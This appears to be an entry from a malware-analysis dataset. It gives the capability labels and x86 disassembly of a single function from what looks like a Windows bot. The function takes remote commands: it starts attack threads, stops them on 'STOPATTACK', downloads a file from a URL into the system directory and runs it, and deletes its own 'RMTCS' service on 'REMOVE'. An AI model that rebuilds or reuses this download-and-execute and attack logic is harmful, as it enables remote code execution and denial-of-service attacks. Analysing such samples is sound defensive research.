Function at 0x40a020
Capabilities:
Act as tcp client
Check os version
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create thread
Create udp socket
Delete service
Download url
Get common file path
Get socket status
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket
Set socket configuration
Terminate process

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40bd46
push eax
mov dword fs:[0], esp
sub esp, 0x8a0
push ebx
push ebp
push esi
mov esi, dword [esp + 0x8bc]
push edi
mov edi, dword [sym.imp.MSVCRT.dll_strncmp]
push 3
push 0x40f2b0
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x40a461
xor ebx, ebx
mov ecx, 7
lea edi, [esp + 0x41]
mov byte [esp + 0x40], bl
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
xor eax, eax
mov ecx, 0x18
mov dword [esp + 0x31], eax
lea edi, [esp + 0xe1]
mov dword [esp + 0x35], eax
mov byte [esp + 0xe0], bl
mov byte [esp + 0x39], al
mov byte [esp + 0x4b0], bl
rep stosd dword es:[edi], eax
xor ecx, ecx
xor edx, edx
stosw word es:[edi], ax
mov dword [esp + 0x25], ecx
mov dword [esp + 0x19], edx
mov dword [esp + 0x29], ecx
mov dword [esp + 0x1d], edx
stosb byte es:[edi], al
mov byte [esp + 0x2d], cl
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x4b1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x180
xor eax, eax
mov edi, 0x40e028
push esi
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], bl
mov byte [esp + 0x28], bl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x25], dl
call fcn.0040b796
push 0x40f2ac
lea ecx, [esp + 0x14]
mov dword [esp + 0x8bc], ebx
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push ebx
call sub.MFC42.DLL_CString::Delete
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x40]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
push eax
push ebx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Delete
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x30]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push ebx
call sub.MFC42.DLL_CString::Delete
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xe0]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push ebx
call sub.MFC42.DLL_CString::Delete
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push ebx
call sub.MFC42.DLL_CString::Delete
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40f2a8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push ebx
call sub.MFC42.DLL_CString::Delete
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x4b0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x4b0]
push ecx
push 0x40f29c
push 0x40e028
call esi
add esp, 0xc
lea edx, [esp + 0x4b0]
push edx
push 0x40f290
push 0x40e228
call esi
add esp, 0xc
lea eax, [esp + 0x4b0]
push eax
push 0x40f284
push 0x40e428
call esi
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
mov ebp, eax
add esp, 0x10
cmp ebp, ebx
jne 0x40a399
mov ebp, 1
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x60]
lea edx, [esp + 0x60]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x40]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x78]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xe0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_atoi]
lea ecx, [esp + 0x30]
push ecx
call esi
lea edx, [esp + 0x1c]
mov dword [esp + 0x78], eax
push edx
call esi
add esp, 8
cmp ebp, ebx
mov dword [esp + 0xdc], eax
mov dword [0x40f53c], ebx
jle 0x40a443
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
lea eax, [esp + 0x64]
push ebx
push eax
push section..text
push ebx
push ebx
call esi
push 0x3e8
call edi
dec ebp
jne 0x40a429
lea ecx, [esp + 0x10]
mov dword [esp + 0x8b8], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x40a619
push str.STOPATTACK
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40a483
mov eax, 1
mov dword [0x40f53c], eax
jmp 0x40a619
push 9
push str.DOWNLOAD:
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x40a658
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0x3b0]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x144]
rep stosd dword es:[edi], eax
push esi
lea ecx, [esp + 0x18]
call fcn.0040b796
push 0x40f2ac
lea ecx, [esp + 0x18]
mov dword [esp + 0x8bc], 1
call sub.MFC42.DLL_CString::Find
inc eax
xor ebx, ebx
push eax
push ebx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Delete
push 0x40f2a8
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x3c]
push eax
push ecx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ebp, 0xffffffff
mov edi, eax
mov ecx, ebp
xor eax, eax
lea edx, [esp + 0x3b0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
call sub.MFC42.DLL_CString::CString
push 0x40f2a8
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x14]
push eax
push ebx
call sub.MFC42.DLL_CString::Delete
push ebx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::GetBuffer
mov edi, eax
mov ecx, ebp
xor eax, eax
lea edx, [esp + 0x144]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0x2ad]
mov byte [esp + 0x2ac], bl
mov byte [esp + 0x1a8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x1a9]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x2b0]
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea edx, [esp + 0x144]
lea eax, [esp + 0x2ac]
push edx
push eax
lea ecx, [esp + 0x1b0]
push str._s_s
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea edx, [esp + 0x1a8]
lea eax, [esp + 0x3b0]
push ebx
push ebx
push edx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, ebx
je 0x40a632
lea ecx, [esp + 0x14]
mov dword [esp + 0x8b8], ebp
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x8b0]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x8ac
ret
lea ecx, [esp + 0x1a8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea ecx, [esp + 0x14]
mov dword [esp + 0x8b8], ebp
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x40a619
mov edi, str.REMOVE
xor ebx, ebx
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x40a687
cmp al, bl
je 0x40a683
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x40a687
add esi, 2
add edi, 2
cmp al, bl
jne 0x40a65f
xor eax, eax
jmp 0x40a68c
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x40a617
push 2
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.RMTCS
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop